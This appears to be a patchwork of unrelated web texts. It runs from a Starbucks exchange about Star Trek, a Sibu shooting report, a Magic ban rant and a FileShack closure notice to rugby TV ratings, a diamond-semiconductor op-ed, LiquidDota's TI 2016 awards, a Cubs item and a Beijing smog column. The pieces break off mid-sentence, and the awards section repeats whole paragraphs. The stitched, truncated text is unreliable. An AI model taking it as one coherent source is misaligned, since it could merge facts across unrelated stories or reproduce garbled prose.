Starbucks Employee (SE): Is that a Voyager shirt you’re wearing?
Me: Yes.
SE: Wow. I don’t think I’ve ever seen one of those.
Me: I got it 15 years ago and recently found it when I was going through my closet to donate stuff to Good Will.
SE: You can’t donate that shirt. You have to keep it
Me: Oh, I’ll never get rid of this shirt although I did cut the collar and sleeves a little bit.
SE: No offense, I could never get into Voyager, it just wasn’t my thing. But I really really really liked Deep Space Nine especially towards the end when they had the war with The Dominion.
Me: Yeah, but I think Deep Space Nine was way too soapy.
SE: Yeah, it was a bit soapy.
Me: They really had no choice but to make it soapy. I mean, the whole show revolved around a space station that was stagnant and stationary. Everything had to come to them. Everything was about the Bajorans and who Dr. Bashir was in love with. No wonder it got boring. It did get better when they added The Defiant and the crew could actually go places and also, like you said, when The Dominion War happened. The Vorta, Changelings and Jem’hadar were super cool aliens. I really thought, writing-wise, that they were well-developed races and cultures. Their history was awesome, especially the Vorta.
SE: (silence)
Me: I think Captain Janeway was a better captain than Sisko.
SE: (longer silence)
Me: I’ll have a Triple Venti Latte and a Classic Sausage Sandwich.Click to share on WhatsApp (Opens in new window)
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SIBU: A man was killed and his female partner injured in a dramatic movie-like shooting around midnight on Saturday when six persons including the woman were about to leave a coffee shop opposite Catholic High School at Lanang Road here after supper.
In the 11.15pm incident, both Ting Meng Min and his Chinese national companion Xiao Fen were shot at and collapsed onto the ground.
The 30-year-old man from Sibu, who operated a pub in Miri, died an hour after he was rushed to a private specialist hospital while Xiao who suffered a shot on her left arm was hospitalised. Ting had gunshot wounds on his left chest, left arm and back.
Sibu police chief ACP Mohd Kamal Kordi confirmed the shooting as the second murder case here in a week and police were investigating it under Section 302 of the Penal Code.
“The police are investigating the murder in the aspects of gangsterism, revenge and business rivalry. We are going all out on this high profile case.”
Before the incident, Ting and Xiao were sitting with two of Ting’s bodyguards who were armed with a pistol and two friends at a table in the coffee shop’s roofed corridor near the back lane. They were standing up to leave after paying for their late night meal when a white Hilux with three men inside pulled up from the back lane.
An eye-witness said the driver of the car then fired several shots at Ting and Xiao Fen who both fell to the ground. Ting’s bodyguard returned fire six to seven times and it was believed that the |
fellow banned player Travis Woo — be reinstated.
Write to Hasbro and tell them that if this is the kind of fascistic behavior they choose to endorse then not only will you not by any of Wizards of the Coast’s Magic-related products, but you won’t buy any of Hasbro’s other products either.
Either you believe gaming should be about fun, freedom of speech and liberty — or you believe it should be about social justice. It cannot be both. You are the market: you decide!Goodbye, Fileshack Dear Shacknews community, As the clock reached midnight on New Year's Eve, we decided—like many of you may have--to make some resolutions for...
Dear Shacknews community,
As the clock reached midnight on New Year's Eve, we decided--like many of you may have--to make some resolutions for 2014. As unoriginal as this may sound, we decided that we wanted to get in shape and lose weight. And no, I'm not talking about our staff. (We all have beautiful, chiseled abs. Calendar coming soon.) I'm talking about the website as a whole.
When I controversially said "happy holidays" at the end of the year, I teased that big things were coming to Shacknews in 2014. While I can't reveal our plans quite yet, today marks the first step in our plan to shake things up. We're shutting down FileShack, effective immediately.
Some of you will say "what's FileShack?" Others will cry foul, reminiscing about fond memories of Times Gone By. But, a service like FileShack isn't really necessary in today's day and age. Steam and its ilk have automated game updates, rendering patch download services largely unnecessary. And truth be told, we didn't offer a competitive product with FileShack. There are better places to grab mods, better places to shack files.
By shutting down FileShack, we'll become a much more nimble site, being able to focus on the things that really matter: Chatty and editorial. As our close friend Jillian Michaels would say after berating us and making us cry, "you know when transformation happens? Right now."In another ground-breaking season, rugby league matches featuring Queensland club and representative teams attracted record television audiences across multiple levels of the game.
The recent NRL State Championship final between the Intrust Super Cup and NSW Cup premiers capped off the ratings juggernaut, with nearly one million viewers watching the inaugural match.
Northern Pride won the hearts and minds of sports fans across the country when a combined audience of 942,262 witnessed the team from Cairns topple their more fancied opponents the Penrith Panthers 32-28 before the NRL premiership decider.
A week earlier the ‘Pride of the North’ defeated the Easts Tigers to lift the Intrust Super Cup in front of more than 7000 fans at Suncorp Stadium.
This match was the highest rating Intrust Super Cup game on record, attracting an audience of 163, 178 across the state.
Fans from outside the metropolitan area soaked up the Pride’s success, with the 90, 291 viewers surpassing the regional record set during the previous week’s preliminary final between Easts Tigers and Wynnum Manly Seagulls.
This was the highest rating Cup match outside of a grand final with an audience of 120,457 in metro and regional markets, eclipsing both AFL finals matches in the Queensland market that weekend (Sydney v North Melbourne 62,991; Hawthorn v Port Adelaide 88,721).
Overall, the 2014 Intrust Super Cup delivered an increase of 3009 viewers, representing a 4.3 percent increase from last season.
Earlier in the year, more than four million watched Game 2 of the Holden State of Origin series between the XXXX Queensland Maroons and New South Wales Blues, making this the No. 1 ranked sport event on Free TV in 2014.
The opening game of the Origin series and the NRL grand final occupy the next two spots in an all rugby league top three on Free TV.
These extraordinary figures provide yet another example of rugby league’s significant reach and powerful engagement in Australian society; and further demonstrates that the popularity of the game plays a significant part in the growth of sport audiences on free-to-air commercial television.
A current review of official OzTAM and RegionalTAM ratings data for sport on commercial free-to-air television, shows 11.7 million Australians watch sport on commercial free-to-air television every week.
The Numbers:
NRL State Championship Final – Northern Pride v Penrith Panthers:
· Channel 9 five capital and regional centres: 896, 330
· FOX Sports: 45, 932.
· Total: 942, 262
Intrust Super Cup
· Grand Final on Channel 9/WIN/NBN: 163,178.
· Highest rating Intrust Super Cup match.
· 90,291 in the regional market surpassed the record set during the previous week’s preliminary final for regional ratings.
· A season increase of 3009 viewers represented a 4.3% increase from last season.
State of Origin/NRL
· Top three sport broadcasts on Free TV
- Origin Game 2: 4, 188, 000 (Combined metro and regional audience)
- Origin Game 1: 4,093, 000
- NRL Grand Final: 3, 937,000My “aha” moment occurred in 2004 when, as a junior at the University of Illinois at Chicago, double majoring in physics and engineering, a research paper seized my interest. It was about the role that diamond could play as an electronics material — vastly uncharted territory at the time. I recognized then that diamond technology could spark a seismic change in the electronics industry and I knew I wanted to play a role in making diamond semiconductor a reality.
Then, as now, silicon had been the popular material choice for semiconductor since the 1960s, and it still constitutes 95 percent of the device types available in the market. But it presented several long-term challenges. The perhaps better known problem, popularly expressed as “Moore’s Law” highlights the trend of smaller and faster electronics being physically limited by the capability of silicon — simply put, the speeds and sizes of devices in the market are almost the absolute best the material can physically perform. The still more pressing and visible problem in silicon was that of heat. Historically, heat management with silicon semiconductor devices has proven problematic for power electronics. The cooling methods required were inefficient and served as a major source of e-waste. The industry required a silicon alternative that enabled devices to be smaller, cooler, faster, more powerful, and cleaner.
That defines the diamond semiconductor. What was once considered the “holy grail” of electronics is a true alternative today, both as a silicon supplement and as a standalone semiconductor platform material. No longer just relegated to gem stone status, diamond provides a road map for an unknown number of years ahead in power electronic development and more broadly the global electronics industry.
The Power to Transform Industries
Indeed, many consider that the industry is entering the Dawn of a Diamond Age of Electronics. They believe the world’s hardest-known natural material with exceptional electronic properties will take a variety of industries to the next level of performance. It is on the verge of being the accepted choice to produce today’s most advanced industrial products – and its use in consumer electronics ranks close behind.
Why diamond? It can run hotter without degrading in performance (over 5 times that of Silicon), is more easily cooled (with 22 times the heat transfer efficiency of silicon), can tolerate higher voltages before breaking down, and electrons (and electron-holes) can move faster through them. Already, semiconductor devices with diamond material are available that deliver one million times more electrical current than silicon or previous attempts using diamond.
Diamond-based semiconductors are capable of increasing power density as well as create faster, lighter, and simpler devices. They’re more environmentally friendly than silicon and improve thermal performance within a device. As a result, the diamond materials market for semiconductors can easily eclipse that of the Silicon Carbide, which is seen growing at a 42.03 percent compound annual rate through 2020 from $3.3 Billion in 2014, due to performance, cost, and direct integration with the existing silicon platform.
The Future Is Here
The semiconductor industry dates to 1833, when English natural philosopher Michael Faraday described the “extraordinary case” of his discovery of electrical conduction increasing with temperature in silver sulfide crystals. But it wasn’t until this century that diamonds began to be considered seriously.
A little over a decade since that research paper sparked my interest, my company AKHAN SEMI, in collaboration with Argonne National Laboratory, has developed a series of advancements that allows us to manufacture standalone diamond materials, deposit diamond directly on processed silicon, fabricate complete diamond semiconductor devices, as well as attach diamond material to other electronics materials.
Diamond wafer technology is producing thinner and cheaper devices already in use in information technology, the military and aerospace applications. In addition, diamond semiconductor will have a major impact on the consumer electronics, telecommunications and health industries, among many others, starting as early as 2015.
Automakers are eyeing applications of diamond power devices in control modules for electric cars. Diamond semiconductors can also help better manage battery life and battery systems for a wide variety of devices including phones, cameras and vehicles.
For cloud computer servers, which are stored in data centers that consume vast amounts of energy in an exceedingly wasteful manner, diamond semiconductors use less energy more efficiently while delivering better performance. Because diamond technology shrinks the size and energy needed for a semiconductor, it paves the way for smaller personal electronics from washers and dryers to televisions and digital cameras. As for defense technology, it delivers greater range, reliability, and performance in both normal and extreme/hazardous operating environments.
As a result, diamond semiconductors lead to a greater range and energy efficiency in their applications. They help drive cheaper, faster cloud integration for consumer and business needs. They change the capability of where and how to use our phones, laptops and other personal electronic devices that have yet to be invented with the benefits extending well beyond performance. Power electronics such as diamond semiconductors represent an enormous opportunity to reduce electronic waste and cut electronic cooling costs in half.
The Perfect Synthetic, Not a Blood Diamond
Everyone knows that diamonds are formed in nature over a considerable period of time and cost thousands of dollars on the open market. However, lab-grown diamonds can be produced cleanly and affordably in a factory setting anywhere in the world from some of the most abundant molecules in the universe: methane and hydrogen gases, which are readily available. The process with which I am most familiar is the one my company employs, and utilizes at Argonne National Laboratory in which methane and hydrogen plasma are exposed to microwave energy to form very thin diamond materials over various sizes, thicknesses, and on different materials such as silicon, sapphire, glass, among others.
Once formed, utilizing these thin diamond film materials (about 1/70 the diameter of a human hair) we are able to alter the electronic properties and form device structures that are over a thousand times thinner than the leading silicon counterpart in addition to the previous state-of-the-art in diamond but with also increased performance, allowing the trend of smaller, faster, and more functional to continue.
In just a decade, as silicon reaches its threshold, diamond material is taking its place. It is time to pass the torch to diamond – a superior material that will enable the next generation of innovators to create faster, more powerful and greener electronics.
Adam Khan is founder and CEO of AKHAN Semiconductor.The International 2016 Awards August 25th, 2016 19:39 GMT Text by Julmust Graphics by Nixer IntroBest Strategic GameMost Entertaining GameMost Valuable PlayerBest NewcomerHero of the TournamentBest StreakBiggest PlayBiggest SurpriseBest Caster DuoBest Production SegmentReveal AllFocus Mode The International 2016 Awards All too often we as a community choose to focus on what's bad in Dota. We like to over use the word "throw" and laugh at mistakes that to us, from a spectator point of view, looks oh so dumb. That's why we at LiquidDota loves awards. Here we celebrate the best the game has to offer and chose to praise instead of shame. We are sure these awards will produce plenty of discussion, just remember that in the end opinions are just that, opinions.
We hope you enjoy our celebration of Dota 2 and The International 2016. Best Strategic Game Wings vs. EG (UB Finals Game 1) With over-aggressive metagame dominating the Dota scene, it is rare to see strategy completely outdo laning and aggression considerations. If the teams logos were hidden from this draft, you probably would have guessed that it was EG fielding the ultimate-based teamfight lineup. Instead, Wings drafter y`innocence showed that turnabout is fairplay as he drafted a sturdy and slow lineup, reminiscent of TI4 EG, against a fluid and dodgy five from PPD. In a slowly developing game, EG looked dangerous if given enough time to build BKBs and damage items. Wings, on the other hand, proceeded neither too slowly nor too hastily by building up all the right items and strengths to go high ground, finally checkmating EG in two quick fights around 35 minutes in.
Looking at the draft playing out, both Wings and EG opted for bans of strong signature heroes and selected flexible heroes that disguised their eventual laning arrangements. While EG would pick for laning advantage and hero counters against Timbersaw in second phase, Wings picked up solid teamfight in Razor and AoE CC in Tidehunter. Without any one single pick to wrest team fight advantage away from Wings, EG selected shifty Weaver that - much like Anti-Mage - needed 30 minutes and 3 items to be relevant. Wings closed out the draft with a lineup-solidifying Enigma pick that exploited EG’s unaggressive supports with jungle greed. This gave Wings great tower push once Enigma got enough levels and secured late game with BKB piercing control in Black Hole.
Wings Gaming started the match electing to go 2v3 in the top lane with Razor on Fear’s AM instead of giving him a dream matchup against Tidehunter. Evil Geniuses scored a bunch of kills early on in the game on Wings’ supports, but only enough to be break even with the jungling Enigma. Eight minutes into the game, the Chinese started exerting their pressure, smoking top, pushing Fear out of lane and taking down top tower. Wings went from farming to objective and back to farming for the next 20 minutes, skillfully exploiting the presence of only one stun on EG, which limited any damage Wings could suffer. Whenever Sumail’s Sand King tried to make his mark in skirmishes and ganks, Wings gave up only supports or traded core for core in fights that only slowed down Anti-Mage and Weaver, whose requisite 30 minutes of farming increased with every death.
When both Razor and Timbersaw built BoTs, Wings made up for perceived lack of movement and easily kept pace with the AM. Meanwhile the fast lane pushing with only one or two heroes visible to EG at any time as well the threat of both Rubick ganks and Tidehunter Ravages penned the other four EG players deeply on their own side of the map. By minute 30, it was clear that AM and Weaver were a bit behind on farm and Wings’ lineup was at its peak. The only way EG would stay in the game was by creep cutting to keep the lanes off high-ground and building enough damage to hold off a high-ground attempt.
Wings wasted little time in their moment of strength, protecting their creep waves from Anti-Mage and punished EG for daring to leave their base. With all three Wings cores tanky enough to require a full committal from EG to score a kill, Wings duly pushed high ground with iceice’s Enigma sitting behind with Blink BKB ready to counter any initiation. Even though EG skillfully baited out the Tidehunter Ravage on BKBing cores, it still caught PPD’s Skywrath Mage. Without the Skywrath Ultimate, EG lacked damage, and when EG did commit on the Razor, iceice pounced on Fear. A follow-up kill on Sumail half a minute later that took midlane barracks with it all but ended the game. EG gg’d out after one more one-sided team fight. With over-aggressive metagame dominating the Dota scene, it is rare to see strategy completely outdo laning and aggression considerations. If the teams logos were hidden from this draft, you probably would have guessed that it was EG fielding the ultimate-based teamfight lineup. Instead, Wings drafter y`innocence showed that turnabout is fairplay as he drafted a sturdy and slow lineup, reminiscent of TI4 EG, against a fluid and dodgy five from PPD. In a slowly developing game, EG looked dangerous if given enough time to build BKBs and damage items. Wings, on the other hand, proceeded neither too slowly nor too hastily by building up all the right items and strengths to go high ground, finally checkmating EG in two quick fights around 35 minutes in.Looking at the draft playing out, both Wings and EG opted for bans of strong signature heroes and selected flexible heroes that disguised their eventual laning arrangements. While EG would pick for laning advantage and hero counters against Timbersaw in second phase, Wings picked up solid teamfight in Razor and AoE CC in Tidehunter. Without any one single pick to wrest team fight advantage away from Wings, EG selected shifty Weaver that - much like Anti-Mage - needed 30 minutes and 3 items to be relevant. Wings closed out the draft with a lineup-solidifying Enigma pick that exploited EG’s unaggressive supports with jungle greed. This gave Wings great tower push once Enigma got enough levels and secured late game with BKB piercing control in Black Hole.Wings Gaming started the match electing to go 2v3 in the top lane with Razor on Fear’s AM instead of giving him a dream matchup against Tidehunter. Evil Geniuses scored a bunch of kills early on in the game on Wings’ supports, but only enough to be break even with the jungling Enigma. Eight minutes into the game, the Chinese started exerting their pressure, smoking top, pushing Fear out of lane and taking down top tower. Wings went from farming to objective and back to farming for the next 20 minutes, skillfully exploiting the presence of only one stun on EG, which limited any damage Wings could suffer. Whenever Sumail’s Sand King tried to make his mark in skirmishes and ganks, Wings gave up only supports or traded core for core in fights that only slowed down Anti-Mage and Weaver, whose requisite 30 minutes of farming increased with every death.When both Razor and Timbersaw built BoTs, Wings made up for perceived lack of movement and easily kept pace with the AM. Meanwhile the fast lane pushing with only one or two heroes visible to EG at any time as well the threat of both Rubick ganks and Tidehunter Ravages penned the other four EG players deeply on their own side of the map. By minute 30, it was clear that AM and Weaver were a bit behind on farm and Wings’ lineup was at its peak. The only way EG would stay in the game was by creep cutting to keep the lanes off high-ground and building enough damage to hold off a high-ground attempt.Wings wasted little time in their moment of strength, protecting their creep waves from Anti-Mage and punished EG for daring to leave their base. With all three Wings cores tanky enough to require a full committal from EG to score a kill, Wings duly pushed high ground with iceice’s Enigma sitting behind with Blink BKB ready to counter any initiation. Even though EG skillfully baited out the Tidehunter Ravage on BKBing cores, it still caught PPD’s Skywrath Mage. Without the Skywrath Ultimate, EG lacked damage, and when EG did commit on the Razor, iceice pounced on Fear. A follow-up kill on Sumail half a minute later that took midlane barracks with it all but ended the game. EG gg’d out after one more one-sided team fight.
Most Entertaining Game EHOME vs. EG (UB R1 Game 1) The International, apart from having games that are the pinnacle of mechanical and strategical skill, has been known for bringing us some of the most entertaining games and moments that the Dota world has to offer. Many of you probably remember “The Play” from TI2, the “Million Dollar Dream Coil” from TI3, or Tobi screaming “It’s a DISASTAH” at TI5, to name a few. This year, you will most certainly remember “The Comeback” - Game 1 of Evil Geniuses vs EHOME.
While this game wasn’t the grand finals, the atmosphere in the arena certainly felt like it should have been. EHOME was, on paper, winning throughout the entire game and up by 20,000 gold at their peak. The Chinese fans were shouting at the top of their lungs as EG were forced to attempt to defend their barracks 3v5 with everyone having spent their buybacks, but EG could not hold them. EHOME had taken the final rax, mega creeps were incoming, and all that was missing in Game 1 was an EG “GG.”
However, the Evil Geniuses live up to their namesake in what is likely one of the biggest Hail Marys in Dota. After the last barracks had fallen, EG was on its last legs: SumaiL nuked an IceIceIce Timbersaw with his Ethereal Blade-Aghanim’s Starfall-Dagon combination and IceIceIce was still living with a sliver of HP. Not wanting to let him get away, Zai forcestaffed himself forward, blasting the remaining health off of Timbersaw, who had no buyback, and opened up a push straight down mid. EG threw everything they had at the EHOME base, killing off all but Old Chicken’s Juggernaut, who was nowhere to be found after being thwarted in his attempt to kill Zai thanks to a Godlike arrow from SumaiL, sniping Jugg the moment his omnislash was over. Old Chicken decided he was going for a Hail Mary of his own, trying to backdoor Evil Geniuses’ Tier 4 towers and throne.
EG was not having any of it. At this point, the crowd is losing their minds and Capitalist is losing articles of clothing (seriously, his jacket and tie came off at some point during this game) as they finish off IceIceIce and immediately teleport home to kill Jugg. This is it, this is their chance. Only the Warlock had buyback and EG were headed straight down the middle lane for one final push after holding off megas. Along the way, Universe sells some items for a rapier, knowing that they need to finish off the rest of EHOME’s base quickly, otherwise heroes could respawn in time. The crowd is on their feet as EG fight through the remaining megas and take the throne to complete the improbable, no, the impossible comeback.
The Chinese crowd was silent as the “EG” and “USA” chants echoed throughout Key Arena. EHOME would never look as confident as they did prior to meeting EG in Game 1; they were broken and were eventually knocked out of the tournament by the runner-ups, Digital Chaos. The rest of the TI6 had to live up to the hype surrounding the final moments of this game and though the games were great, none could stand up to the entertainment and excitement that EG vs EHOME Game 1 had to offer. We truly had our defining moment for TI6.
Most Valuable Player Jimmy "Demon" Ho For years, Jimmy "Demon" Ho's Dota play has teetered on brink of punchline and prodigy. His
Demon has been in the scene for ages: He placed 4th with MeetYourMakers’ squad in the very first International back in 2011 (and had been a part of the Dota 1 scene before). For the past few years, he's been known as a mercenary. He stood in for various rosters, brought Team Liquid's TI4 squad to an unexpected 9/10th finish at TI4 after their blog-fueled meltdown, and has spent much of his past two years sponsored by Redbull but teamless.
When news broke that Demon would be moving from Infamous to TnC,
They were still considered underdogs going into the tournament:
But Jimmy's and TNC's tour de force was in the playoffs, when they eliminated tournament-favorites OG in a remarkable 2-0 series that had Jimmy's former teammate Merlini raving about how effective the unpredictable "Classic Jimmy" captaining was in confusing, outplaying, and ultimately defeating OG.
And for that, we give the “MVP of the Tournament” award to Jimmy "Demon" Ho.
#demonarmy For years, Jimmy "Demon" Ho's Dota play has teetered on brink of punchline and prodigy. His "Classic Jimmy" plays, as Merlini once called them, are known for their clowniness and their character: equal parts baffling and brilliant. He's the player who takes a no hands kill on Arteezy in NEL, but also a face of the "When did EG throw last" days. He misses matches to go to the gym. He's Demon.Demon has been in the scene for ages: He placed 4th with MeetYourMakers’ squad in the very first International back in 2011 (and had been a part of the Dota 1 scene before). For the past few years, he's been known as a mercenary. He stood in for various rosters, brought Team Liquid's TI4 squad to an unexpected 9/10th finish at TI4 after their blog-fueled meltdown, and has spent much of his past two years sponsored by Redbull but teamless.When news broke that Demon would be moving from Infamous to TnC, the comments on LD were about what you'd expect: Confusion, surprise, and not a whole lot of confidence that the move would bear fruit. And yet, TNC was the first squad to qualify for TI6. Demon lead the underdogs first through SEA's open qualifiers and then to the top of the round robin, securing a spot at TI6 without even needing to play through the playoffs.They were still considered underdogs going into the tournament: Liquid Dota's placement of them at 15th on the Power Rank was far from controversial. And yet theirs was the first significant upset of the tournament, when they took out future champions Wings Gaming with two remarkable wins during the group stage. Led by Demon, TNC ended with a respectable 7-7 record in their group, just barely below the line that would have put them in the upper bracket.But Jimmy's and TNC's tour de force was in the playoffs, when they eliminated tournament-favorites OG in a remarkable 2-0 series that had Jimmy's former teammate Merlini raving about how effective the unpredictable "Classic Jimmy" captaining was in confusing, outplaying, and ultimately defeating OG. The series is worth watching in full, as it was an absurd upset that just about nobody could have predicted.And for that, we give the “MVP of the Tournament” award to Jimmy "Demon" Ho.#demonarmy
Best Newcomer Faith_Bian & Saksa As we couldn’t just give this award to all of the Wings’ squad, we ended up having a tie between Faith_Bian and Saksa as the best newcomers to this TI. We also could have chosen both Moo or w33ha from Digital Chaos, but in Saksa’s case, there also is another big merit on him, coming from a country with a very small player base.
FAITH_BIAN A lot of people think that Faith first appeared in professional play back at WCA 2015, but in fact it was the WPC-ACE League during 2014 using the nickname “Zrd”, as a stand-in for the DK-Dream Team squad facing Titan.
Faith was part of the Speed Gaming.cn squad in which he played alongside Blink and Innocence (Zyp at that time). During this period, Faith alongside his teammates were not able to achieve anything important and the squad went through silence for a long time. After the TI5 reshuffle, Wings Gaming was created with the three players from Speed Gaming - which included Faith - and two new players: IceIce - who had played in Big God alongside Burning, LaNm, ROtK and xiao8, and Shadow, a player that had vast experience in Tier 2 Chinese teams.
Faith_Bian is a very annoying offlaner to play against not only for his undebatable skills, but also because of his hero pool suiting perfectly to both Wings’s style and this metagame. Axe, Slardar, Beastmaster and Batrider are all heroes that allow a team to hit a timing and accelerate the tempo, but they are also some of Faith’s best heroes. The word, ‘some’ is important, because as we witnessed during TI, why not play Nyx or even Techies if it’s ‘needed’?
SAKSA From the balkan peninsula to the world: Saksa is likely one of the few players from a country with a population of only 2 million people, yet he is never going to go unnoticed given his height, which competes - even beats - the ones of Puppey or iceiceice. This also happens in the game, being the support player who delivers big plays with his trademark Lion and providing support to both w33ha and Resolution. That’s a task that cannot be underappreciated.
Saksa’s career had a quick development: He left university and joined Global Challengers, in which he didn’t find much success though. After that he joined Team Moriarty and won a small tournament, the Gigabyte Challenge Cup #16. Saksa became a known player after climbing the ladder to 8000 MMR and joined 4Clovers and Lepricon, while usually being mispronounced as ‘Saska’. Before joining DC, he spent around two months on Mama’s Boys with no major success.
As we know, Digital Chaos didn’t achieve immediate success, but the arrival of Saksa together with an experienced Misery and a skilled player like w33ha improved the team significantly, thus getting multiple victories for qualifiers and achieving their biggest success: qualifying to the Manila Major. This experience proved significant to a rising star like Saksa, as his performance during TI6 granted him multiple praises from analysts, players, casters and of course, LiquidDota. As we couldn’t just give this award to all of the Wings’ squad, we ended up having a tie between Faith_Bian and Saksa as the best newcomers to this TI. We also could have chosen both Moo or w33ha from Digital Chaos, but in Saksa’s case, there also is another big merit on him, coming from a country with a very small player base.A lot of people think that Faith first appeared in professional play back at WCA 2015, but in fact it was the WPC-ACE League during 2014 using the nickname “Zrd”, as a stand-in for the DK-Dream Team squad facing Titan.Faith was part of the Speed Gaming.cn squad in which he played alongside Blink and Innocence (Zyp at that time). During this period, Faith alongside his teammates were not able to achieve anything important and the squad went through silence for a long time. After the TI5 reshuffle, Wings Gaming was created with the three players from Speed Gaming - which included Faith - and two new players: IceIce - who had played in Big God alongside Burning, LaNm, ROtK and xiao8, and Shadow, a player that had vast experience in Tier 2 Chinese teams.Faith_Bian is a very annoying offlaner to play against not only for his undebatable skills, but also because of his hero pool suiting perfectly to both Wings’s style and this metagame. Axe, Slardar, Beastmaster and Batrider are all heroes that allow a team to hit a timing and accelerate the tempo, but they are also some of Faith’s best heroes. The word, ‘some’ is important, because as we witnessed during TI, why not play Nyx or even Techies if it’s ‘needed’?From the balkan peninsula to the world: Saksa is likely one of the few players from a country with a population of only 2 million people, yet he is never going to go unnoticed given his height, which competes - even beats - the ones of Puppey or iceiceice. This also happens in the game, being the support player who delivers big plays with his trademark Lion and providing support to both w33ha and Resolution. That’s a task that cannot be underappreciated.Saksa’s career had a quick development: He left university and joined Global Challengers, in which he didn’t find much success though. After that he joined Team Moriarty and won a small tournament, the Gigabyte Challenge Cup #16. Saksa became a known player after climbing the ladder to 8000 MMR and joined 4Clovers and Lepricon, while usually being mispronounced as ‘Saska’. Before joining DC, he spent around two months on Mama’s Boys with no major success.As we know, Digital Chaos didn’t achieve immediate success, but the arrival of Saksa together with an experienced Misery and a skilled player like w33ha improved the team significantly, thus getting multiple victories for qualifiers and achieving their biggest success: qualifying to the Manila Major. This experience proved significant to a rising star like Saksa, as his performance during TI6 granted him multiple praises from analysts, players, casters and of course, LiquidDota.
Hero of the Tournament Mirana Mirana has always been a favorite pick in pubs due to her “skillshot” arrow and after slowly creeping into the meta during the buildup to Seattle, she was certainly the hero of the tournament. Shifting her towards higher farm priority and building her more focused on spell damage (in accordance to her “new” scepter upgrade that came with 6.87 in April) was the factor that allowed her the breakthrough to the coveted first phase ban/pick material. With a skillset that can potentially oneshot underfarmed enemy heroes as soon as she farmed a Aghanim’s Scepter, it is no wonder that Mirana became the most picked hero of the tournament with a win-rate of 59%. Her domination of the event was slightly tarnished by losing every game she appeared on in the Grand Finals, but that is much more owed to Wings outclassing DC that day and not necessarily a fault within the hero.
As much fun as it is to see FOTM POTM melt enemies with quadruple starstorms, it is quite clear that the buffing IceFrog had done to make her more viable has overshot its mark. If the upcoming balance patch does not change Mirana in any way, we would be quite surprised (and disappointed) as it should not be possible to deal 1050 magic damage (before resistances) effortlessly in an instant with a simple investment of only 4200 gold. We enjoyed it while it lasted, but it really should be met with some change as that single item can transform the hero into a ridiculous farming and hero-killing machine. Mirana has always been a favorite pick in pubs due to her “skillshot” arrow and after slowly creeping into the meta during the buildup to Seattle, she was certainly the hero of the tournament. Shifting her towards higher farm priority and building her more focused on spell damage (in accordance to her “new” scepter upgrade that came with 6.87 in April) was the factor that allowed her the breakthrough to the coveted first phase ban/pick material. With a skillset that can potentially oneshot underfarmed enemy heroes as soon as she farmed a Aghanim’s Scepter, it is no wonder that Mirana became the most picked hero of the tournament with a win-rate of 59%. Her domination of the event was slightly tarnished by losing every game she appeared on in the Grand Finals, but that is much more owed to Wings outclassing DC that day and not necessarily a fault within the hero.As much fun as it is to see FOTM POTM melt enemies with quadruple starstorms, it is quite clear that the buffing IceFrog had done to make her more viable has overshot its mark. If the upcoming balance patch does not change Mirana in any way, we would be quite surprised (and disappointed) as it should not be possible to deal 1050 magic damage (before resistances) effortlessly in an instant with a simple investment of only 4200 gold. We enjoyed it while it lasted, but it really should be met with some change as that single item can transform the hero into a ridiculous farming and hero-killing machine.
Best Streak Shadow's Bashes In game 3 of the Grand Finals, Shadow surprised everyone by going 20/0/16 as Faceless Void. But what really ‘baffled’ everyone is how much luck a player can have in one single game. Shadow kept bashing and bashing, managing to get 5 successful bashes in a row on w33ha in the bottom lane fight, 15 minutes in. Again in a fight in the bottom lane, this time 24 minutes into the game, Saksa managed to get a great Winter’s Curse on Shadow, but the latter managed to get away with less than 10% of HP. Again, the luck brought him another kill on Saksa, as the Macedonian tried to escape from Wings by climbing the cliff near Roshan’s Pit and teleporting home, but - yet again - Shadow’s first-hit bash along with iceice’s torrent prevented that from happening, resulting in an easy kill. He even had more bashes on Roshan than Roshan had on him. And speaking of Roshan and his pit, in the teamfight at 35 minutes Shadow bashed w33ha 7 (!!!!) times in a row in under four seconds. Sadly, in the fight near DC’s T4 towers, Shadow managed to kill Faith_Bian, who was under the effect of Winter’s Curse.
On the other hand, Shadow also had some great clutch chronospheres, including the game winning one at mid lane, 44 minutes in, as Resolution walked into it, resulting in the bash lord Shadow getting his 20th and final kill, followed by the gg call from Misery. However, he also had one that didn’t catch anyone due to Misery’s fast blink reaction. Nonetheless, one can without a doubt remark that Shadow’s performance is for the history books, and that if there’s a player that can play Faceless Void as good as EG.Universe does, it definitely must be Shadow.
Biggest play Suma1L Arrows Old Chicken
One of the best things about The International is that it truly |
bullpen.
Q in blue
Jose Quintana was slotted to face the Sox on Thursday at Guaranteed Rate Field, but the Cubs bumped him back a day to face the Brewers, an NL Central foe.
“That would’ve been a little weird for me to face the White Sox, but one day, for sure, I would want to face the White Sox,’’ he said.
Going to the North Side made for the easiest of logistical transitions and put Quintana in position to pitch in the postseason for the first time, a win-win for the left-hander.
“I’m feeling really good,’’ said Quintana, who is 2-0 in two starts, against the Orioles and Cardinals. “And I’m excited to be here.’’
Quintana said it was strange talking to teammates across the field but knows “it’s part of the game.’’
Quintana and Cooper exchanged a big hug and had a chat.
“I said, ‘Hi, Coop,’ and he says I look good in blue,’’ Quintana said. “I said yes, but it’s a little weird.’’
Contributing: Madeline Kenney
Follow me on Twitter @CST_soxvan.
Email: dvanschouwen@suntimes.com
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Rodon strikes out 11 in four innings but runs out of ammo
Ozzie Guillen, Carlos Zambrano to broadcast Sox, Cubs game in SpanishI knew when I drew my bedroom curtains open this morning that I should not even have gotten up.
Drawing the curtains had no visible effect on the amount of light coming through the window. I could not see the buildings on the other side of the road because the grey fog of pollution was so thick.
A quick visit to the US embassy’s Twitter page, which posts hourly readings of Beijing’s pollution levels, confirmed what my eyes and nose had already told me. The reading was “Beyond Index,” off the charts, seven times worse than US standards for acceptable air quality.
Beijing airport shut down, so poor was the visibility.
For perspective, one way an American could breathe air like Beijing’s 20 million citizens were breathing all morning would be to stand downwind from a forest fire.
Everybody who lives here could see and feel how bad it was, but the Beijing Municipal Environmental Monitoring Center was saying on its website that the air quality was “good.”
That will soon change, the government has promised. By the end of this month Beijing will become the first Chinese city to publish hourly official data revealing the level of minute particles smaller than 2.5 microns, which is what the US embassy does.
Until now, Chinese statistics have measured only particles above 10 microns in size, giving a consistently rosier picture of the situation than the embassy's PM2.5 figures do. Official readings regularly declare “blue sky days” in Beijing when the US embassy is warning its Twitter followers that the air is “very unhealthy,” or worse.
Today was officially a “blue sky day,” according to Beijing official data for example, even though the sky was invisible this morning. There were no clouds – I could stare directly at the silver disc that was the rising sun – but the air was an acrid, pale gray soup.
